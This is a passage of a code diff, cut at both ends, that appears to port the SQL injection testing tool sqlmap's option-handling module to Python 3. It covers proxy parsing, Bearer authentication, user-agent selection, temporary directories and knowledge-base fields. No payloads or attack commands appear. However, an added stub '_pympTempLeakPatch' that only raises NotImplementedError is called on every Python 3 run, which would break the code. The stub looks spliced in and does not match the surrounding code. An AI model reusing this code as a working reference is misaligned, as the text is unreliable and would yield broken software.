proxy list file" % conf.proxy - logger.info(infoMsg) + elif not conf.proxy: + if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: + proxyHandler.proxies = {} - elif not conf.proxy: - if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: - proxyHandler.proxies = {} - - if conf.proxy: - debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" - logger.debug(debugMsg) + if conf.proxy: + debugMsg = "setting the HTTP/SOCKS proxy for all HTTP requests" + logger.debug(debugMsg) - try: - _ = urlparse.urlsplit(conf.proxy) - except Exception as ex: - errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) - raise SqlmapSyntaxException(errMsg) + try: + _ = _urllib.parse.urlsplit(conf.proxy) + except Exception as ex: + errMsg = "invalid proxy address '%s' ('%s')" % (conf.proxy, getSafeExString(ex)) + raise SqlmapSyntaxException(errMsg) - hostnamePort = _.netloc.split(":") + match = re.search(r"\A([^:]*):([^:]*)@([^@]+)\Z", _.netloc) + if match: + username, password = match.group(1), match.group(2) + else: + username, password = None, None - scheme = _.scheme.upper() - hostname = hostnamePort[0] - port = None - username = None - password = None + hostnamePort = _.netloc.rsplit('@', 1)[-1].rsplit(":", 1) - if len(hostnamePort) == 2: - try: - port = int(hostnamePort[1]) - except: - pass # drops into the next check block + scheme = _.scheme.upper() + hostname = hostnamePort[0] + port = None - if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): - errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) - raise SqlmapSyntaxException(errMsg) + if len(hostnamePort) == 2: + try: + port = int(hostnamePort[1]) + except: + pass # drops into the next check block - if conf.proxyCred: - _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) - if not _: - errMsg = "proxy authentication credentials " - errMsg += "value must be in format username:password" + if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): + errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) raise SqlmapSyntaxException(errMsg) - else: - username = _.group(1) - password = _.group(2) - if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): - proxyHandler.proxies = {} + if conf.proxyCred: + _ = re.search(r"\A(.*?):(.*?)\Z", conf.proxyCred) + if not _: + errMsg = "proxy authentication credentials " + errMsg += "value must be in format username:password" + raise SqlmapSyntaxException(errMsg) + else: + username = _.group(1) + password = _.group(2) - socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) - socks.wrapmodule(urllib2) - else: - socks.unwrapmodule(urllib2) + if scheme in (PROXY_TYPE.SOCKS4, PROXY_TYPE.SOCKS5): + proxyHandler.proxies = {} - if conf.proxyCred: - # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection - proxyString = "%s@" % conf.proxyCred - else: - proxyString = "" + if scheme == PROXY_TYPE.SOCKS4: + warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" + singleTimeWarnMessage(warnMsg) - proxyString += "%s:%d" % (hostname, port) - proxyHandler.proxies = {"http": proxyString, "https": proxyString} + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) + socks.wrapmodule(_http_client) + else: + socks.unwrapmodule(_http_client) - proxyHandler.__init__(proxyHandler.proxies) + if conf.proxyCred: + # Reference: http://stackoverflow.com/questions/34079/how-to-specify-an-authenticated-proxy-for-a-python-http-connection + proxyString = "%s@" % conf.proxyCred + else: + proxyString = "" - debugMsg = "creating HTTP requests opener object" - logger.debug(debugMsg) + proxyString += "%s:%d" % (hostname, port) + proxyHandler.proxies = kb.proxies = {"http": proxyString, "https": proxyString} - handlers = filter(None, [multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, httpsHandler]) + proxyHandler.__init__(proxyHandler.proxies) - if not conf.dropSetCookie: - if not conf.loadCookies: - conf.cj = cookielib.CookieJar() - else: - conf.cj = cookielib.MozillaCookieJar() - resetCookieJar(conf.cj) + if not proxyHandler.proxies: + for _ in ("http", "https"): + if hasattr(proxyHandler, "%s_open" % _): + delattr(proxyHandler, "%s_open" % _) - handlers.append(urllib2.HTTPCookieProcessor(conf.cj)) + debugMsg = "creating HTTP requests opener object" + logger.debug(debugMsg) - # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html - if conf.keepAlive: - warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " - warnMsg += "been disabled because of its incompatibility " + handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) - if conf.proxy: - warnMsg += "with HTTP(s) proxy" - logger.warn(warnMsg) - elif conf.authType: - warnMsg += "with authentication methods" - logger.warn(warnMsg) - else: - handlers.append(keepAliveHandler) + if not conf.dropSetCookie: + if not conf.loadCookies: + conf.cj = _http_cookiejar.CookieJar() + else: + conf.cj = _http_cookiejar.MozillaCookieJar() + resetCookieJar(conf.cj) + + handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj)) + + # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html + if conf.keepAlive: + warnMsg = "persistent HTTP(s) connections, Keep-Alive, has " + warnMsg += "been disabled because of its incompatibility " + + if conf.proxy: + warnMsg += "with HTTP(s) proxy" + logger.warning(warnMsg) + elif conf.authType: + warnMsg += "with authentication methods" + logger.warning(warnMsg) + else: + handlers.append(keepAliveHandler) - opener = urllib2.build_opener(*handlers) - urllib2.install_opener(opener) + opener = _urllib.request.build_opener(*handlers) + opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" + _urllib.request.install_opener(opener) def _setSafeVisit(): """ @@ -1069,14 +1265,14 @@ def _setSafeVisit(): checkFile(conf.safeReqFile) raw = readCachedFileContent(conf.safeReqFile) - match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw[:raw.find('\n')]) + match = re.search(r"\A([A-Z]+) ([^ ]+) HTTP/[0-9.]+\Z", raw.split('\n')[0].strip()) if match: kb.safeReq.method = match.group(1) kb.safeReq.url = match.group(2) kb.safeReq.headers = {} - for line in raw[raw.find('\n') + 1:].split('\n'): + for line in raw.split('\n')[1:]: line = line.strip() if line and ':' in line: key, value = line.split(':', 1) @@ -1088,7 +1284,7 @@ def _setSafeVisit(): if value.endswith(":443"): scheme = "https" value = "%s://%s" % (scheme, value) - kb.safeReq.url = urlparse.urljoin(value, kb.safeReq.url) + kb.safeReq.url = _urllib.parse.urljoin(value, kb.safeReq.url) else: break @@ -1107,14 +1303,14 @@ def _setSafeVisit(): errMsg = "invalid format of a safe request file" raise SqlmapSyntaxException(errMsg) else: - if not re.search(r"\Ahttp[s]*://", conf.safeUrl): + if not re.search(r"(?i)\Ahttp[s]*://", conf.safeUrl): if ":443/" in conf.safeUrl: - conf.safeUrl = "https://" + conf.safeUrl + conf.safeUrl = "https://%s" % conf.safeUrl else: - conf.safeUrl = "http://" + conf.safeUrl + conf.safeUrl = "http://%s" % conf.safeUrl - if conf.safeFreq <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" + if (conf.safeFreq or 0) <= 0: + errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): @@ -1156,7 +1352,7 @@ def _setAuthCred(): def _setHTTPAuthentication(): """ - Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or PKI), + Check and set the HTTP(s) authentication method (Basic, Digest, Bearer, NTLM or PKI), username and password for first three methods, or PEM private key file for PKI authentication """ @@ -1176,12 +1372,12 @@ def _setHTTPAuthentication(): elif not conf.authType and conf.authCred: errMsg = "you specified the HTTP authentication credentials, " - errMsg += "but did not provide the type" + errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" raise SqlmapSyntaxException(errMsg) - elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): + elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): errMsg = "HTTP authentication type value must be " - errMsg += "Basic, Digest, NTLM or PKI" + errMsg += "Basic, Digest, Bearer, NTLM or PKI" raise SqlmapSyntaxException(errMsg) if not conf.authFile: @@ -1194,13 +1390,16 @@ def _setHTTPAuthentication(): regExp = "^(.*?):(.*?)$" errMsg = "HTTP %s authentication credentials " % authType errMsg += "value must be in format 'username:password'" + elif authType == AUTH_TYPE.BEARER: + conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip())) + return elif authType == AUTH_TYPE.NTLM: regExp = "^(.*\\\\.*):(.*?)$" errMsg = "HTTP NTLM authentication credentials value must " errMsg += "be in format 'DOMAIN\\username:password'" elif authType == AUTH_TYPE.PKI: errMsg = "HTTP PKI authentication require " - errMsg += "usage of option `--auth-pki`" + errMsg += "usage of option `--auth-file`" raise SqlmapSyntaxException(errMsg) aCredRegExp = re.search(regExp, conf.authCred) @@ -1211,7 +1410,7 @@ def _setHTTPAuthentication(): conf.authUsername = aCredRegExp.group(1) conf.authPassword = aCredRegExp.group(2) - kb.passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm() + kb.passwordMgr = _urllib.request.HTTPPasswordMgrWithDefaultRealm() _setAuthCred() @@ -1219,15 +1418,15 @@ def _setHTTPAuthentication(): authHandler = SmartHTTPBasicAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.DIGEST: - authHandler = urllib2.HTTPDigestAuthHandler(kb.passwordMgr) + authHandler = _urllib.request.HTTPDigestAuthHandler(kb.passwordMgr) elif authType == AUTH_TYPE.NTLM: try: from ntlm import HTTPNtlmAuthHandler except ImportError: errMsg = "sqlmap requires Python NTLM third-party library " - errMsg += "in order to authenticate via NTLM, " - errMsg += "https://github.com/mullender/python-ntlm" + errMsg += "in order to authenticate via NTLM. Download from " + errMsg += "'https://github.com/mullender/python-ntlm'" raise SqlmapMissingDependence(errMsg) authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(kb.passwordMgr) @@ -1244,7 +1443,10 @@ def _setHTTPExtraHeaders(): debugMsg = "setting extra HTTP headers" logger.debug(debugMsg) - conf.headers = conf.headers.split("\n") if "\n" in conf.headers else conf.headers.split("\\n") + if "\\n" in conf.headers: + conf.headers = conf.headers.replace("\\r\\n", "\\n").split("\\n") + else: + conf.headers = conf.headers.replace("\r\n", "\n").split("\n") for headerValue in conf.headers: if not headerValue.strip(): @@ -1255,6 +1457,9 @@ def _setHTTPExtraHeaders(): if header and value: conf.httpHeaders.append((header, value)) + elif headerValue.startswith('@'): + checkFile(headerValue[1:]) + kb.headersFile = headerValue[1:] else: errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u') raise SqlmapSyntaxException(errMsg) @@ -1278,28 +1483,32 @@ def _setHTTPUserAgent(): file choosed as user option """ + debugMsg = "setting the HTTP User-Agent header" + logger.debug(debugMsg) + if conf.mobile: - message = "which smartphone do you want sqlmap to imitate " - message += "through HTTP User-Agent header?\n" - items = sorted(getPublicTypeMembers(MOBILES, True)) + if conf.randomAgent: + _ = random.sample([_[1] for _ in getPublicTypeMembers(MOBILES, True)], 1)[0] + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, _)) + else: + message = "which smartphone do you want sqlmap to imitate " + message += "through HTTP User-Agent header?\n" + items = sorted(getPublicTypeMembers(MOBILES, True)) - for count in xrange(len(items)): - item = items[count] - message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") + for count in xrange(len(items)): + item = items[count] + message += "[%d] %s%s\n" % (count + 1, item[0], " (default)" if item == MOBILES.IPHONE else "") - test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) + test = readInput(message.rstrip('\n'), default=items.index(MOBILES.IPHONE) + 1) - try: - item = items[int(test) - 1] - except: - item = MOBILES.IPHONE + try: + item = items[int(test) - 1] + except: + item = MOBILES.IPHONE - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) + conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, item[1])) elif conf.agent: - debugMsg = "setting the HTTP User-Agent header" - logger.debug(debugMsg) - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, conf.agent)) elif not conf.randomAgent: @@ -1314,22 +1523,7 @@ def _setHTTPUserAgent(): conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) else: - if not kb.userAgents: - debugMsg = "loading random HTTP User-Agent header(s) from " - debugMsg += "file '%s'" % paths.USER_AGENTS - logger.debug(debugMsg) - - try: - kb.userAgents = getFileItems(paths.USER_AGENTS) - except IOError: - warnMsg = "unable to read HTTP User-Agent header " - warnMsg += "file '%s'" % paths.USER_AGENTS - logger.warn(warnMsg) - - conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, DEFAULT_USER_AGENT)) - return - - userAgent = random.sample(kb.userAgents or [DEFAULT_USER_AGENT], 1)[0] + userAgent = fetchRandomAgent() infoMsg = "fetched random HTTP User-Agent header value '%s' from " % userAgent infoMsg += "file '%s'" % paths.USER_AGENTS @@ -1377,7 +1571,7 @@ def _setHostname(): if conf.url: try: - conf.hostname = urlparse.urlsplit(conf.url).netloc.split(':')[0] + conf.hostname = _urllib.parse.urlsplit(conf.url).netloc.split(':')[0] except ValueError as ex: errMsg = "problem occurred while " errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) @@ -1397,13 +1591,16 @@ def _setHTTPTimeout(): if conf.timeout < 3.0: warnMsg = "the minimum HTTP timeout is 3 seconds, sqlmap " warnMsg += "will going to reset it" - logger.warn(warnMsg) + logger.warning(warnMsg) conf.timeout = 3.0 else: conf.timeout = 30.0 - socket.setdefaulttimeout(conf.timeout) + try: + socket.setdefaulttimeout(conf.timeout) + except OverflowError as ex: + raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) def _checkDependencies(): """ @@ -1418,36 +1615,34 @@ def _createHomeDirectories(): Creates directories inside sqlmap's home directory """ - for context in "output", "history": - directory = paths["SQLMAP_%s_PATH" % context.upper()] + if conf.get("purge"): + return + + for context in ("output", "history"): + directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) _ = os.path.join(directory, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) - if conf.outputDir and context == "output": + if conf.get("outputDir") and context == "output": warnMsg = "using '%s' as the %s directory" % (directory, context) - logger.warn(warnMsg) + logger.warning(warnMsg) except (OSError, IOError) as ex: - try: - tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) - except Exception as _: - errMsg = "unable to write to the temporary directory ('%s'). " % _ - errMsg += "Please make sure that your disk is not full and " - errMsg += "that you have sufficient write permissions to " - errMsg += "create temporary files and/or directories" - raise SqlmapSystemException(errMsg) - + tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) - logger.warn(warnMsg) + logger.warning(warnMsg) paths["SQLMAP_%s_PATH" % context.upper()] = tempDir +def _pympTempLeakPatch(tempDir): # Cross-referenced function + raise NotImplementedError + def _createTemporaryDirectory(): """ Creates temporary directory for this run. @@ -1460,13 +1655,13 @@ def _createTemporaryDirectory(): _ = os.path.join(conf.tmpDir, randomStr()) - open(_, "w+b").close() + open(_, "w+").close() os.remove(_) tempfile.tempdir = conf.tmpDir warnMsg = "using '%s' as the temporary directory" % conf.tmpDir - logger.warn(warnMsg) + logger.warning(warnMsg) except (OSError, IOError) as ex: errMsg = "there has been a problem while accessing " errMsg += "temporary directory location(s) ('%s')" % getSafeExString(ex) @@ -1481,7 +1676,7 @@ def _createTemporaryDirectory(): warnMsg += "make sure that there is enough disk space left. If problem persists, " warnMsg += "try to set environment variable 'TEMP' to a location " warnMsg += "writeable by the current user" - logger.warn(warnMsg) + logger.warning(warnMsg) if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir: try: @@ -1499,11 +1694,23 @@ def _createTemporaryDirectory(): errMsg += "temporary directory location ('%s')" % getSafeExString(ex) raise SqlmapSystemException(errMsg) + conf.tempDirs.append(tempfile.tempdir) + + if six.PY3: + _pympTempLeakPatch(kb.tempDir) + def _cleanupOptions(): """ Cleanup configuration attributes. """ + if conf.encoding: + try: + codecs.lookup(conf.encoding) + except LookupError: + errMsg = "unknown encoding '%s'" % conf.encoding + raise SqlmapValueException(errMsg) + debugMsg = "cleaning up configuration parameters" logger.debug(debugMsg) @@ -1516,15 +1723,48 @@ def _cleanupOptions(): for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): - conf[key] = safeExpandUser(value) + if isinstance(value, str): + conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) - conf.testParameter = conf.testParameter.replace(" ", "") - conf.testParameter = re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter) + conf.testParameter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.testParameter)] else: conf.testParameter = [] + if conf.ignoreCode: + if conf.ignoreCode == IGNORE_CODE_WILDCARD: + conf.ignoreCode = xrange(0, 1000) + else: + try: + conf.ignoreCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.ignoreCode)] + except ValueError: + errMsg = "option '--ignore-code' should contain a list of integer values or a wildcard value '%s'" % IGNORE_CODE_WILDCARD + raise SqlmapSyntaxException(errMsg) + else: + conf.ignoreCode = [] + + if conf.abortCode: + try: + conf.abortCode = [int(_) for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.abortCode)] + except ValueError: + errMsg = "option '--abort-code' should contain a list of integer values" + raise SqlmapSyntaxException(errMsg) + else: + conf.abortCode = [] + + if conf.paramFilter: + conf.paramFilter = [_.strip() for _ in re.split(PARAMETER_SPLITTING_REGEX, conf.paramFilter.upper())] + else: + conf.paramFilter = [] + + if conf.base64Parameter: + conf.base64Parameter = urldecode(conf.base64Parameter) + conf.base64Parameter = conf.base64Parameter.strip() + conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) + else: + conf.base64Parameter = [] + if conf.agent: conf.agent = re.sub(r"[\r\n]", "", conf.agent) @@ -1532,8 +1772,19 @@ def _cleanupOptions(): conf.user = conf.user.replace(" ", "") if conf.rParam: - conf.rParam = conf.rParam.replace(" ", "") - conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) + if all(_ in conf.rParam for _ in ('=', ',')): + original = conf.rParam + conf.rParam = [] + for part in original.split(';'): + if '=' in part: + left, right = part.split('=', 1) + conf.rParam.append(left) + kb.randomPool[left] = filterNone(_.strip() for _ in right.split(',')) + else: + conf.rParam.append(part) + else: + conf.rParam = conf.rParam.replace(" ", "") + conf.rParam = re.split(PARAMETER_SPLITTING_REGEX, conf.rParam) else: conf.rParam = [] @@ -1553,7 +1804,7 @@ def _cleanupOptions(): conf.delay = float(conf.delay) if conf.url: - conf.url = conf.url.strip() + conf.url = conf.url.strip().lstrip('/') if not re.search(r"\A\w+://", conf.url): conf.url = "http://%s" % conf.url @@ -1566,16 +1817,13 @@ def _cleanupOptions(): if conf.fileDest: conf.fileDest = ntToPosixSlashes(normalizePath(conf.fileDest)) - if conf.sitemapUrl and not conf.sitemapUrl.lower().startswith("http"): - conf.sitemapUrl = "http%s://%s" % ('s' if conf.forceSSL else '', conf.sitemapUrl) - if conf.msfPath: conf.msfPath = ntToPosixSlashes(normalizePath(conf.msfPath)) if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.sitemapUrl, conf.forms, conf.crawlDepth)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): conf.multipleTargets = True if conf.optimize: @@ -1596,6 +1844,9 @@ def _cleanupOptions(): conf.dbms = dbms if conf.dbms and ',' not in conf.dbms else None break + if conf.uValues: + conf.uCols = "%d-%d" % (1 + conf.uValues.count(','), 1 + conf.uValues.count(',')) + if conf.testFilter: conf.testFilter = conf.testFilter.strip('*+') conf.testFilter = re.sub(r"([^.])([*+])", r"\g<1>.\g<2>", conf.testFilter) @@ -1611,13 +1862,13 @@ def _cleanupOptions(): re.compile(conf.csrfToken) if re.escape(conf.csrfToken) != conf.csrfToken: - message = "provided value for option '--csrf-token' is a regular expression? [Y/n] " - if not readInput(message, default='Y', boolean=True): + message = "provided value for option '--csrf-token' is a regular expression? [y/N] " + if not readInput(message, default='N', boolean=True): conf.csrfToken = re.escape(conf.csrfToken) except re.error: conf.csrfToken = re.escape(conf.csrfToken) finally: - class _(unicode): + class _(six.text_type): pass conf.csrfToken = _(conf.csrfToken) conf.csrfToken._original = original @@ -1639,20 +1890,29 @@ class _(unicode): warnMsg = "increasing default value for " warnMsg += "option '--time-sec' to %d because " % conf.timeSec warnMsg += "switch '--tor' was provided" - logger.warn(warnMsg) + logger.warning(warnMsg) else: kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if conf.retries: conf.retries = min(conf.retries, MAX_CONNECT_RETRIES) + if conf.url: + match = re.search(r"\A(\w+://)?([^/@?]+)@", conf.url) + if match: + credentials = match.group(2) + conf.url = conf.url.replace("%s@" % credentials, "", 1) + + conf.authType = AUTH_TYPE.BASIC + conf.authCred = credentials if ':' in credentials else "%s:" % credentials + if conf.code: conf.code = int(conf.code) if conf.csvDel: conf.csvDel = decodeStringEscape(conf.csvDel) - if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): + if conf.torPort and hasattr(conf.torPort, "isdigit") and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) if conf.torType: @@ -1666,11 +1926,11 @@ class _(unicode): conf.string = decodeStringEscape(conf.string) if conf.getAll: - map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) + for _ in WIZARD.ALL: + conf.__setitem__(_, True) if conf.noCast: - for _ in list(DUMP_REPLACEMENTS.keys()): - del DUMP_REPLACEMENTS[_] + DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() @@ -1682,10 +1942,39 @@ class _(unicode): conf.col = re.sub(r"\s*,\s*", ',', conf.col) if conf.exclude: - conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) + regex = False + original = conf.exclude + + if any(_ in conf.exclude for _ in ('+', '*')): + try: + re.compile(conf.exclude) + except re.error: + pass + else: + regex = True + + if not regex: + conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) + conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) + else: + conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) + + class _(six.text_type): + pass + + conf.exclude = _(conf.exclude) + conf.exclude._original = original if conf.binaryFields: - conf.binaryFields = re.sub(r"\s*,\s*", ',', conf.binaryFields) + conf.binaryFields = conf.binaryFields.replace(" ", "") + conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) + + envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + debugMsg = "using environment proxy '%s'" % envProxy + logger.debug(debugMsg) + + conf.proxy = envProxy if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True @@ -1698,11 +1987,11 @@ class _(unicode): def _cleanupEnvironment(): """ - Cleanup environment (e.g. from leftovers after --sqlmap-shell). + Cleanup environment (e.g. from leftovers after --shell). """ - if issubclass(urllib2.socket.socket, socks.socksocket): - socks.unwrapmodule(urllib2) + if issubclass(_http_client.socket.socket, socks.socksocket): + socks.unwrapmodule(_http_client) if hasattr(socket, "_ready"): socket._ready.clear() @@ -1732,6 +2021,8 @@ def _setConfAttributes(): conf.dbmsHandler = None conf.dnsServer = None conf.dumpPath = None + conf.fileWriteType = None + conf.HARCollectorFactory = None conf.hashDB = None conf.hashDBFile = None conf.httpCollector = None @@ -1745,13 +2036,11 @@ def _setConfAttributes(): conf.path = None conf.port = None conf.proxyList = None - conf.resultsFilename = None conf.resultsFP = None conf.scheme = None conf.tests = [] + conf.tempDirs = [] conf.trafficFP = None - conf.HARCollectorFactory = None - conf.fileWriteType = None def _setKnowledgeBaseAttributes(flushAll=True): """ @@ -1770,6 +2059,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.base64Originals = {} kb.binaryField = False kb.browserVerification = None @@ -1778,9 +2068,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache = AttribDict() kb.cache.addrinfo = {} - kb.cache.content = {} - kb.cache.encoding = {} + kb.cache.content = LRUDict(capacity=16) + kb.cache.comparison = {} + kb.cache.encoding = LRUDict(capacity=256) kb.cache.alphaBoundaries = None + kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} @@ -1794,11 +2086,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) - kb.columnExistsChoice = None + kb.choices = AttribDict(keycheck=False) + kb.codePage = None kb.commonOutputs = None - kb.connErrorChoice = None kb.connErrorCounter = 0 - kb.cookieEncodeChoice = None + kb.copyExecTest = None kb.counters = {} kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.data = AttribDict() @@ -1811,6 +2103,8 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None + kb.disableHtmlDecoding = False + kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None @@ -1827,38 +2121,49 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.errorIsNone = True kb.falsePositives = [] kb.fileReadMode = False + kb.fingerprinted = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False + kb.forceThreads = None kb.forceWhere = None + kb.forkNote = None kb.futileUnion = None + kb.fuzzUnionTest = None kb.heavilyDynamic = False + kb.headersFile = None kb.headersFp = {} kb.heuristicDbms = None kb.heuristicExtendedDbms = None + kb.heuristicCode = None kb.heuristicMode = False kb.heuristicPage = False kb.heuristicTest = None - kb.hintValue = None + kb.hintValue = "" kb.htmlFp = [] kb.httpErrorCodes = {} kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False kb.ignoreTimeout = False + kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] + kb.jsonAggMode = False kb.laggingChecked = False kb.lastParserStatus = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None kb.maxConnectionsFlag = False kb.mergeCookies = None + kb.multiThreadMode = False + kb.multipleCtrlC = False kb.negativeLogic = False + kb.nchar = True kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None @@ -1881,16 +2186,19 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.pageStable = None kb.partRun = None kb.permissionFlag = False + kb.place = None kb.postHint = None kb.postSpaceToPlus = False kb.postUrlEncode = True kb.prependFlag = False kb.processResponseCounter = 0 kb.previousMethod = None + kb.processNonCustom = None kb.processUserMarks = None + kb.proxies = None kb.proxyAuthHeader = None kb.queryCounter = 0 - kb.redirectChoice = None + kb.randomPool = {} kb.reflectiveMechanism = True kb.reflectiveCounters = {REFLECTIVE_COUNTER.MISS: 0, REFLECTIVE_COUNTER.HIT: 0} kb.requestCounter = 0 @@ -1900,18 +2208,17 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True - kb.rowXmlMode = False kb.safeCharEncode = False kb.safeReq = AttribDict() kb.secondReq = None kb.serverHeader = None kb.singleLogFlags = set() kb.skipSeqMatcher = False + kb.smokeMode = False kb.reduceTests = None - kb.tlsSNI = {} + kb.sslSuccess = False + kb.startTime = time.time() kb.stickyDBMS = False - kb.storeCrawlingChoice = None - kb.storeHashesChoice = None kb.suppressResumeInfo = False kb.tableFrom = None kb.technique = None @@ -1922,20 +2229,27 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tableExistsChoice = None 